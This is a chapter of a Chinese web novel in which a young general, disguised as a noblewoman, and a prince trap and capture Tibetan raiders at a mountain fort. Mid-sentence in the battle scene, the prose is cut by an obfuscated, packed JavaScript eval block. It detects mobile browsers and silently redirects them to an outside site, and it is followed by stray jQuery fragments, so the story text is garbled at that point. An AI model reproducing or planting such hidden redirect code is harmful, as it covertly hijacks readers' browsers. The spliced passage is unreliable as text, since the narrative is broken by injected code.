91.古代-剿匪(十一)[番外]
作品:《和豪门好兄弟睡了还怀了他的孩子》 刘义只觉后背凉飕飕的,喉头滚了滚,下意识往后退了半步,心里暗骂自己命苦,回回撞破殿下的家务,简直像赶着把脑袋往刀口上递。
裴与驰却神色如常,脚下微移半步,将迟铎往身后一拢,抬手慢条斯理地取过案边的惟帽,稳稳扣回迟铎头上。白纱一落,垂得严丝合缝,将狸奴的神色尽数遮去。
方才房中那一瞬缱绻,不过幻影。
迟铎:“……”
刘义:“……”
刘义喉间滚了滚,低咳一声,将舆图在案上铺开,双掌压住图角,抱拳道:“殿下,方才同孟校尉巡山,于西侧断崖见着吐蕃探子,共四人,沿岩脊贴壁而行,速度很快。那条入寨的侧道,多半已被他们摸熟。”
迟铎自裴与驰身后走出一步,白纱在肩侧轻轻一晃:“东侧大道也遇见三个,扮作猎户。两路并发,不是试探。”
裴与驰轻“嗯”了一声,目光落在舆图上未曾移开:“他们既懂官话,自然也懂时令。岁除将近,山寨出入频繁,采买往来不断,岗哨难免松动。蜈蚣寨对老弱向来手软,这份心思在太平时候是义气,放在眼下却是破绽。”他说到“破绽”二字,指尖在正门位置轻点了一下,才抬眼看向迟铎,“我们今日扮老幼守寨,他们明日便可借老幼为饵。若真有人夜里叩门求宿借火,岗哨一动恻隐,门一开,人就进来了。”
迟铎抬指在舆图西侧缓缓划过,指腹沿着断崖线往下移:“他们不会火攻。寨中屋舍坚实,水源不断,粮仓尚在。吐蕃残部流窜至此,是为据山养兵,不会自毁现成的巢穴。”他指尖停在断崖尽头,“若以老幼在正门现身牵制,其前锋必趁乱自断崖潜入。断崖虽险,却可借岩脊掩形。依旧防图,自暗道入,便能直抵后寨。”
刘义眉心压低:“可若他们入暗道,察觉已被设伏呢?”
“不会。”迟铎的手指仍压在图上,“吐蕃行军,向来先遣前锋试路,主力随后。前锋入内,见工事稍有改动,只会当山匪自保添设,不会想到京军在此。若与旧图分毫不差,反倒叫人生疑。”
裴与驰接道,袖口扫过案面,将舆图往西侧推开些:“他们遣老幼来,不过是要探寨中青壮多少,暗道是否仍通,后山退路可否走得。前两样看着无碍,便会压上。”
迟铎转身看向刘义,白纱微微一动:“刘义,传令。东侧岗哨照旧,若有老妪求宿,只放一人入寨。入寨之后供水,不设席。她若袖中藏药,必急于施用,近身拿下,不得走漏半点声息。若只是探路,放她回去,让她瞧见几处空处。”
裴与驰道:“西侧旧道不封。”他说话时已抬手指向入口,“入口略宽,引其深入;出口收窄。待前锋入内,三处机括同时落闸,以落石断其退路。崖上布弩压阵,不用火油,免得惊动后军。”
“那侥幸突围的呢?”刘义屏住气问。
迟铎顿了一息,白纱下的下颌线绷住片刻,随即抬眼:“放他们半数入寨。”
“关门打狗。”
明明知道眼前的是少年将军,可这一身闺秀打扮,裙摆曳地,纱帽低垂,怎么看都是个美娇娘。刘义目光在那曳地的裙角上顿了顿,又不自觉往上移,移到白纱下若隐若现的轮廓,随即猛地收回,心里直犯嘀咕:这莫不是移魂换魄?不然怎会前一刻还似端庄贵女,下一句便要关门打狗。
裴与驰道:“后山伏兵断退路,正门弓弩压阵。寨心留出空场,引他们自乱。不要尽歼,放三五个回去。”他说话时并未看人,只抬手在舆图上勾出几道弧线,指尖在“寨心”二字处停了停,才缓缓收回。
刘义听到这里,背脊一凛,抱拳的手指不由攥紧,心里便明白过来。放回去的那几条命,只会替他们传话,说蜈蚣寨早有准备,半个官字都不会提。吐蕃人骂两句晦气,也只当山匪难啃,不会往别处去想。
迟铎道:“西侧断崖架弩六具,暗道设三处塌门机括。夜里寨中只留三处残火,作松懈之态。东侧哨岗减半,轮值照旧。”他一边说,一边将指腹沿着断崖往下压,像是已经在山石间布好弩机。说到此处,白纱轻垂,在他下颌处晃了一下,只添了一句:“我要他们看见的,都是破绽。”
请君入瓮,生死自负。
刘义抱拳到底:“遵命。”
吐蕃人既已衔尾而至,为免露了马脚,迟铎自是不便换回甲胄。可若顶着惟帽布阵点兵,迟小将军忍了又忍,终究抬手将那惟帽摘了下来,随手搁在案角。他岂能隔着一层轻纱号令麾下将士?
两人为这顶帽子僵持了片刻。裴与驰的目光落在那身罗裙上,自裙摆曳地一路扫到腰际系带,停在那收束处,眉峰慢慢压下。本就后悔让狸奴作此打扮,此刻越看越觉碍眼。早知如此,倒不如当真叫这狸奴化回猫形,往怀里一揣,袖口一掩,谁也不许多看一眼。如今偏生顶着人样立在众人眼前布阵点兵,裙摆轻扫地面,纱影摇曳,旁人目光但凡多停一瞬,他便多生一分无名火。
奈何这只狸奴实在太会磨人。
迟铎见他神色不动,悄然上前半步,凑到他耳畔,压低嗓音唤了一声“景恒哥哥”。那声音贴着耳廓落下,气息温热,掠过颈侧,轻得发痒。仰头时,唇珠微微发亮,因先前被亲得微红,此刻随着呼吸轻颤,似无意,却偏生勾人。他咬牙低声许诺,似是当真豁出去般道,待事了回长安,若殿下还有兴致,他便再扮一回给殿下瞧。
三皇子殿下再如何自持,那一声“景恒哥哥”贴在耳边,也终究让他肩背微僵,呼吸沉了一分。他冷着脸抬手,将红帛自迟铎发尾解开,指尖绕过那缕低垂青丝,又重新束紧。“仅此一次。”裴与驰替他理好鬓发,掌心托住他下颌,拇指在那朱唇上重重按了一下,压得那点柔软微陷,警告道:“若再这般不知羞地勾我,回了长安,便罚小将军闭门静思,将《周礼》《仪礼》各抄十遍,连同起居言行,一并照着规矩来。”
迟铎:“……”
那罪名分明是他硬扣的。迟小将军舌尖抵了抵齿关,到底什么也没说。为了大局,忍了。
待两人回到寨中大厅,先前那群“姐妹们”才刚换回男装,领口还歪着,气都没喘匀。听闻刘义传令,众人齐齐一愣,随即又是一阵唉声叹气,骂骂咧咧地把刚脱下的花袄往身上套,有人袖子套反了还在那儿挣扎。一个一边扯着带子一边嚷:“老子这辈子都没穿过这么花的衣裳!”旁边那位正低头系腰带,鼻子里哼了两声:“少废话,待会儿别把腰带系反,丢脸丢到吐蕃人跟前去。”
一片鸡飞狗跳里,徐正义终于瞧清了靖武伯的真容。罗裙未换,发尾束着红帛,两鬓碎发垂下来,遮着些轮廓,只剩玉肌芙蓉面。长得乖得很。哪里像个将军?同殿下站在一处,倒真像是哪家深院里偷跑出来的小姐,偏生执意跟进山里头来。
徐正义看得喉头发干,心里发虚:怪不得要戴惟帽。啷个生得这样乖?这要是直接上阵,怕是刀还没出鞘,气势先软了三分。莫不是学那兰陵王,嫌自己太好看,专门罩层纱唬人?他正看得出神,忽觉袖子一紧,被人猛地一扯,整个人往旁边一个踉跄,差点把衣襟扯裂。
“干啥子嘛!”徐正义回头就骂,“老子这件是婆娘才缝好的,你扯坏了你赔哈!” 刘义这个龟儿子,手还没松,眉毛已经快挤到一处,眼珠子直往前头使劲瞟,看得人鬼火冒。
刘义瞪他一眼,压着嗓子骂道:“你要死哒?还盯?莫搞事咯!快去喊人准备!”
徐正义一愣,嘴还张着:“咋子嘛——”
刘义气得脸都黑了,往殿下那边飞快扫了一眼,又把人往后扯了扯:“脑壳进水哒?那是你能盯到看的?再看下去,等哈脑壳都要分家!”
徐正义这才回过味来,后脖子一凉,赶紧把目光挪开,连带着肩膀都缩了缩。刘义松开他,仍不放心,又偷偷瞟了殿下一眼,只见那位神色不动,目光却冷得很。他心口一紧,暗骂一句:这憨货真是要作死,命都不晓得要紧。
正热闹着,岗哨忽来禀报,说半山腰有一老妪携着孩童,步履蹒跚,正往寨门挪来。屋内那点插科打诨的热气,顷刻散尽。
迟铎道:“照先前定下的办。东侧只放老妪一人入寨。”他说话时已经转过身去,步子不快不慢,走到窗边。
他看向刘义:“叫哨兵盯紧,她接水时,是扶杯,还是探袖。至于那孩子,扣在门外,给两块饼子堵住嘴,别让他乱走。”
先前那位善口技的泼辣妹子名唤李章,此时已换上一身洗得发白的碎花袄子,袖口卷得整整齐齐,与刘义并肩立在寨门口,肩膀挨着肩膀,扮作一对要下山置办年货的寨中夫妻。李章抬手往发间插了根木簪,顺势往刘义胳膊上一靠,嘴里还骂着年货涨价,像是真要为柴米油盐发愁。
迟铎立在窗边,目光落在山道上那道蹒跚的身影上,低声道:“倒是真舍得,拿自家的老幼来探路。”他说这话时,手指压在窗框上,指腹微微泛白。他在塞北与匈奴周旋多年,胡人残忍之事见得多了,可每回遇着这等以妇孺试刀的行径,呼吸仍旧发紧。
裴与驰侧过头看他一眼:“狸奴,把那点怜悯收起来。”他目光在那被亲得微红的唇上停了一瞬,又移开,眉心轻蹙,“她纵是真老妪,也是吐蕃人的信子。她若安然离去,不过半个时辰,西侧断崖便会起兵。”
迟铎缓缓吐出一口气,道:“刘义,给水给粮,不必多问。让她瞧见寨中不过几人换防,余下都在偷闲。”
刘义那头应了一声,脸上已经堆起笑意,三步并作两步迎了上去:“哎哟,造孽咯,冻成哒这样,老人家快些进来,莫在风口里站哒。”他一边说,一边把身子往侧边让开半步,挡住院里一角。
老妪连声道谢,佝偻着身子进了寨门,手背枯瘦,抖得厉害,那双看似浑浊的眼却在院中一扫而过,停在肉架子上,又掠过墙根几名青壮,连水缸旁边晾着的木瓢都瞧了一眼。她没见弩机,也没见伏兵,只见一群穿着花袄的“妇人”在院里晾肉洗衣,三四个短褐青壮蹲在墙根,捧着粗瓷碗吃饭,连个像样的哨兵都不见。
与此同时,西侧断崖。孟知武伏在岩石后,身子压得极低,半张脸贴着冷石,手里扣着弩机扳机,指节因用力而泛白。他盯着下方山路,低声骂道:“这帮蛮子,连自家老娘都舍得拿来做饵。”
寨门外,那老妪带来的孩童却未入内。李章一边骂骂咧咧地收着背篓,一边斜着眼盯他。那小子原本低头啃饼,嘴上沾着碎屑,眼珠子却骨碌乱转,趁李章弯腰的当口,脚下一蹬便要往寨里窜,还没迈出两步,后领子已被人一把提住。李章手腕一翻,把人拎得脚尖离地,嘿嘿一笑,从袖里摸出一块甜糕,在他鼻尖前晃了晃,仍是那把尖细泼辣的嗓音:“毛毛乖些哦,里头正杀猪,血淌得满地都是。”那孩童脖子一缩,眼神闪了闪,嘴里的饼也忘了嚼,再不敢乱动。
不多时,刘义把老妪送了出来,递了件旧披风,又往她怀里塞了只水囊,手指顺势在她袖口处碰了一下,像是无意。老妪接过,低声道谢,与孩童对了个眼色。孩童先往前跑去,脚步飞快,看着像是闹脾气,转过山道拐角便不见了。老妪却慢慢走在后头,一路千恩万谢,走到山道转弯处,背影才彻底没入林影里。寨门在她身后缓缓合上,门闩落下时发出一声闷响。
刘义对身边的李章低声道:“这老人家,眼睛利得很,临走还把那几口晒肉的缸子数了一遍。外头的人,该是得着信了。”
“由他们去报。”李章换回男声,抬手把碎花袄的袖口扎紧,顺势将腰带往里勒了勒,“那毛毛跑得跟兔子似的,顶多一炷香,断崖那头便要动了。”
阁楼之上,迟铎微挑眉梢,指尖在窗棂上轻轻一叩:“鱼已吞了半截钩,你那暗道里的落石,当真稳得住?”
裴与驰侧目看他一眼,鼻息里溢出一声极轻的笑意,手指在身后缓缓扣紧:“那机括是我亲自盯着设的,谁进去都别想出来。”他目光在裙摆上扫过, “迟小将军,待会儿冲阵时顾好自己,这身裙摆可不长眼。”
迟铎唇角一抬:“殿下担心错人了。”说罢抬手将繁复的裙摆往上一撩,露出里头束紧的靴口与绑腿,步子利落,转身便下楼。
西侧断崖,雾霭压低。
孩童报信的哨音穿林而过,细而急,落在吐蕃人耳里,正是“无碍”的暗号。伏了许久的先锋军齐齐抬头,领头之人侧耳听毕,手掌向前一压,示意起身。寨中果然如陈正衡那份旧防图所示,防备稀疏,看不出异样。那人抬手一挥,四十余名精锐贴着岩脊而下,身形贴壁,借阴影掩形,鱼贯钻入那条直通寨心的旧暗道。暗道狭长,幽深逼仄。吐蕃人压着呼吸,肩甲蹭着石壁,靴底擦过干土,沙沙作响。火折子被捂在掌心,只透出一点昏黄的光。待最后一人没入洞口,伏在上方密丛中的孟知武屏住气息,手指早已扣在机括绳上,腕上一绷,猛地往下一拽。
三处塌门几乎同时落下。
巨石顺着暗道轰然坠下,先是中段炸开一声闷雷般的巨响,紧接着入口处石门重重砸实。石屑四散,火光被震灭,暗道里骤然炸开惊叫与兵刃撞石之声,混作一团,有人被压在石下,惨呼声短促而急。片刻之后,只余石层压下的沉闷回响,在狭道里来回撞击。侥幸避开落石的吐蕃先锋退路已断,不敢回头,只能朝暗道尽头那处窄口猛冲。出口处,“砰”地一声闷响,暗门被几名吐蕃壮汉合力撞开,木屑飞溅。几个人翻滚着跌入空地,弯刀出鞘,刚一站稳,四下张望——
原本蹲在墙根说笑的几名红袄“妇人”已同时起身,裙摆一甩,反手从背后抽出斧头,刃口在火光下一闪,照着最近一人的头颅劈下。几名短褐青壮也在同一瞬间起身,手中粗瓷饭碗往地上一掼,碗底碎裂,底下扣着的短弩顺势翻出,抬腕、扣机,一气呵成。弩弦震响,近身之距,不必瞄准。短箭入肉,血雾顿起,溅在院中晾着的肉架上。吐蕃先锋当场倒下一片,剩下几人怒吼着反扑,却被斧刃与弩箭压在空地中央,惨叫声彻底盖过了院中先前那点烟火气。
大堂之中,迟铎立在门内,“别杀绝。”他顿了顿,补了一句,“留三个,跑得最快的。”
那三名被有意放走的吐蕃探子连滚带爬冲出寨门,顺着山道一路狂奔。身后零零落落追来几支轻箭,箭头擦着他们的肩背飞过,力道不重,却足以催他们跑得更快。他们愈发笃定,寨中不过是些靠机关撑场面的山匪,那些“妇人”虽个个身形高大,使斧抡刀,也不过仗着暗算。三人跌跌撞撞赶到山腰集结之处,扑倒在主将马前,额头几乎磕在地上,气喘如牛:“头人!暗道塌了!里头尽是疯婆子和埋伏的山匪!他们把路堵死,是怕咱们冲进去!寨子里青壮不多!”
吐蕃大将勒住马缰,战马前蹄踏地,他垂眼看了那三人一瞬,嘴角一压,弯刀在手中慢慢转了半圈,寒光沿着刀锋滑过:“塌了暗道,不过自保之举。”他抬头望向云雾缭绕的断崖,手腕一抖,刀锋直指西侧岩脊,“传令!弃暗道,沿岩脊压上!”
“山匪耍些机关算计,挡不住我吐蕃勇士的刀!”
阁楼之上,风卷衣摆。裴与驰负手而立,目光落在山腰那条逼仄的岩脊上。吐蕃主力果然弃了暗道,沿着西侧险路层层压上,人马挤作一线,前队已过弯口,后阵尚未转出山腰,整支队伍卡在最狭窄的一段,进退不得。
“倒是听话。”他低声道,“真往这条路上来。”
断崖后方,孟知武伏在石后,胸口贴着冰冷岩面,目光死死钉在寨楼方向。战术早定,以旗为号。吐蕃人仍在往前挤,岩脊被山势逼得只容一线,前队已踏过弯口,后阵还卡在山腰,阵形被拉得细长,最前头的几骑马蹄踏碎浮石,已入弩机射界。
寨楼之上,黑旗缓缓举起。孟知武喉头一紧,呼吸停在喉间。旗面在风中一展,忽然翻落。
他猛地挥手,声音压得极低却透着狠劲:“放!”六架重型床弩同时震响,弦声裂空,儿臂粗的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17161905|191384||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巨箭破雾而下,自高处直贯敌阵。第一排吐蕃兵连人带马被当场掀翻,巨箭穿甲入骨,钉入岩石,马嘶声骤然拔高。后队躲闪不及,被前方尸身与惊马冲撞,脚下浮石滚落,几人失足翻滚坠崖,惨叫声顺着山谷一层层回荡。岩脊本就狭窄,一轮弩箭落下,阵形被生生截断,前队被压在箭雨之下,后阵被堵在弯口之外,前后不得相顾,刀柄撞刀鞘,马蹄踏马蹄,乱成一团。
大堂之内,迟铎正抬头望向寨楼。
黑旗翻落。
他迈步便走,裙摆拖在脚下,刚跨出门槛,那层层叠叠的布料猛地缠住靴尖,脚下一滞,身形前倾,险些当众跌个趔趄。他肩背一绷,手掌已按住门框才稳住身形。
“啧。”裴与驰就惯会咒他。
迟铎低声骂了一句,反手抓住那碍事的裙摆,五指一收,用力往外一扯,一声裂帛骤响,布料自膝下生生撕开。碎布落地,长靴与绑腿露出,脚步顿时利落。
院中那几匹平日里拉磨、蔫头耷脑的马,本是徐正义他们当初从官府马厩里硬生生抢回来充数的战马。此刻闻着风里卷来的血腥气,忽地齐齐昂首,鼻翼张开,嘶鸣声压过院中人声,四蹄在青石地上躁动刨踏,那股被压了许久的战场野性一瞬翻起。迟铎几步冲到马前,单手抓住鬃毛,脚下一蹬,身形已翻上马背。没有马鞍,也无马蹬,他膝弯贴紧马腹,身子前伏,重心压低,缰绳绕在腕间,手腕一抖,战马便顺势窜出。人与马几乎贴成一线,动作利落干脆,像是从未穿过那身罗裙。
塞北草原上躲匈奴暗箭时练出来的本事,从来没丢。
擒贼先擒王,他要活的。
断崖之上弩声再起,吐蕃主力被箭雨压得抬不起头,盾牌在头顶连成一片,马匹在窄脊上躁动挤撞,阵脚已乱。就在此时,寨门轰然大开。
一声凄厉马嘶,一道红影贴地掠出。
迟铎骑在那匹方才还在拉磨的战马背上,残破的裙摆被风卷起,翻卷在身后,边角已染血,远远望去,如一面被扯裂的旗。他整个人低伏在马背,胸口几乎贴着鬃毛,手腕压低,缰绳绕在指间。吐蕃大将正抬手喝令亲卫举盾抵挡头顶弩箭,忽觉侧翼风声骤近,马蹄踏石声与呼吸声几乎贴到耳边。他猛然回头,只见一团红影顺着地势卷来,贴着岩脊下缘疾行,快得连马上之人的轮廓都难分清。
“拦住他!快——!”大将的吼声未落,迟铎已冲入阵中。
他不与小卒纠缠,马身一偏,贴着盾牌边缘掠过,弯刀自头顶劈下时,他身子往马腹一伏,刀锋擦着他发顶劈空,他手中短刃顺势自下而上挑出,刃口贴着铠缝滑入,一名亲卫侧腹当场开裂,闷哼未出便翻下马去。拉磨的战马此刻稳得出奇,四蹄踏碎石不乱,迟铎借它矮壮的身形在人群缝隙间穿行,刀锋不求宽广,只取要害,膝侧、腋下、颈侧,一触即退。他不要人头,他只要首领。
红影逼近,吐蕃大将终于看清来人。乌发披垂,以一缕红帛束在脑后,发尾被风卷起,抽打在肩侧。身上是损毁的罗裙,残布翻卷,贴着马腹疾行。血色溅在裙角与靴面,反衬得那张脸愈发白净。圆眼,高鼻,唇色鲜红,远远望去,竟真像个误闯战场的贵女。可下一瞬,他抬眼,眼睫压下,眸色很冷,原本微翘的唇角缓缓抿成直线。风掀开碎发,露出清晰的下颌线,那点温软在一息之间收尽,只剩冷硬的线条。
两马交错。
吐蕃大将举刀横扫,迟铎却已借马势腾身而起,足尖在马背一蹬,整个人顺着刀势翻起,红衣在半空翻卷。他肩背前倾,合身撞上去,手肘狠狠顶在对方肩甲下缘。吐蕃大将连人带甲被掀翻在地,滚入乱石,铠甲磕在石面上发出沉闷一响。
迟铎落地比他更快,他膝盖重重顶住大将胸口,借势压下去,短刃已贴在咽喉。吐蕃大将尚未喘匀,喉结便抵上冰冷刃锋。
“都给我住手!”
迟铎抬起头,乌发散落,几缕贴在染血的面颊上。他呼吸急促却不乱,手腕稳得出奇。火光映着那张脸,玉色未改,圆眼微垂,目光直直盯着人群,唇线绷紧,没有半分笑意。
“主将已擒。”
刀锋往下再压一分,刃口陷入皮肉,血线顺着锋面缓缓滑下。
“降者不杀。”
话音未落,弓弦骤响。
那名绕到迟铎身后的吐蕃少年才举起弯刀,刀锋刚抬过肩头,箭已破空而至,自他背后贯入,胸前透出半截箭镞。少年踉跄一步,刀当啷落地,嘴里嘶喊出一句吐蕃话:“阿爸——!”声音尚未落稳,人已直挺挺向前栽下。
那一箭,是裴与驰。
大堂里马嘶乍起时,他在阁楼上便知那只狸奴又不听话。黑旗方落,阵中却不见那抹红影,佩刀还孤零零搁在磨旁。裴与驰连眼都未眨,脚下一踏栏杆,身形已越出楼外,衣摆在风里翻起一线弧光。落地时膝弯一屈卸力,顺手抄起佩刀,刀鞘尚未完全握稳,另一手已扯住那匹拉磨的战马鬃毛,足尖一蹬,翻身上背。缰绳在腕间一绕,他手臂一抖,马嘶裂空,前蹄扬起,直撞寨门。
他骑得极快,马速尚未完全稳住,弓已在手。三指一搭,两箭并发,弦响未绝,前头两人应声翻落,箭势穿甲入骨,去势不减。弓弦尚在回震,他已反手将弓掷向身后,亲卫抬手接住的同时,他单手抽剑,剑锋出鞘,寒光贴着马鬃一闪。他借马势猛然一掷,长剑破风而去,直入一人面门,剑身透颅,余力未尽,将后头一骑一并带翻,二人滚作一团。
马蹄踏血,碎石飞溅,裴与驰勒缰至迟铎身侧,战马横身挡在他与侧后之间。他居高临下望着地上的人,呼吸沉而短,指节绷得发白。脸色冷得发紧,一句话也不说。
迟铎膝盖仍压着主将,短刃贴在咽喉,抬头对上那目光。原本还微微翘着的唇角一点点收了回去,喉结轻动,终是抿住唇,垂下眼去,再不敢看。
一柄长刀连着刀鞘掷来,落在他脚边,鞘尖磕在石上,闷声一响,刀身顺势滑出半寸,又停住。裴与驰仍旧不语。
孟知武已带人自断崖侧压下,甲胄擦石作响;文彭从东侧合围,长枪列阵,枪锋在雾气里排成一线,弩手前移,弦上箭光微冷,将吐蕃残部逼在岩脊与山道之间。阵势一寸寸收紧,仍有人负隅顽抗,弯刀乱舞,刀刃磕在枪杆上迸出火星,嘶喊声搅作一团。
迟铎这才想起,自己出阵时只带了短刃。他原想着生擒,短刃贴身更利索,这身裙摆已够碍事,长刀拖着反倒累赘,一人一骑,向来足够。至于方才那些偷袭之人是谁替他挡下的,他目光在地面落了一瞬,终究没有往马背上去看,只悄悄伸了靴尖,将那柄带鞘的刀往自己这边勾了勾。刀鞘在石上挪动,发出极轻的一声摩擦,他的动作也轻得很,像是生怕惊动谁。
马背上那道目光还盯着。
迟铎偏偏不抬头,只将短刃往吐蕃大将喉间又送近一线。刀锋贴着皮肉,血线沿着刃口慢慢淌下,滴在碎石上。他声音压低:“叫你的人放下兵器。”刀锋未退半分,“再拖下去,你就不只死那一个儿子。”吐蕃大将喉头滚动,胸口被膝顶着,呼吸一急一缓。迟铎手上力道不松,手腕稳得发僵,视线死死钉在对方脸上,一寸也不肯偏开。“下令。”他再逼近一分,刃口压出更深的一道血痕。
片刻之后,那嘶哑的吐蕃语终于响起,声音短促而急。岩脊之上,兵器落地声零零碎碎传开,先是一两声,当啷,继而成片。迟铎听见动静,肩背这才松了一瞬,随即又绷回去,像是怕被人瞧出。他仍旧不肯抬头,只盯着那吐蕃大将,“早喊不就好了。”
吐蕃人退路早绝,就算不喊,也撑不了多久。可大将这一声令下,胜负已定,人被生擒,伤亡不多,场面终究算得体面。如此一来,方才那点横冲直撞,便有了说法。
迟铎握着刀,指节微微泛白,终究没敢抬头,只把刀锋继续稳在对方的脖颈处,在心里替自己分辨:终究没出岔子,就……消消气吧。
他没敢说出口。

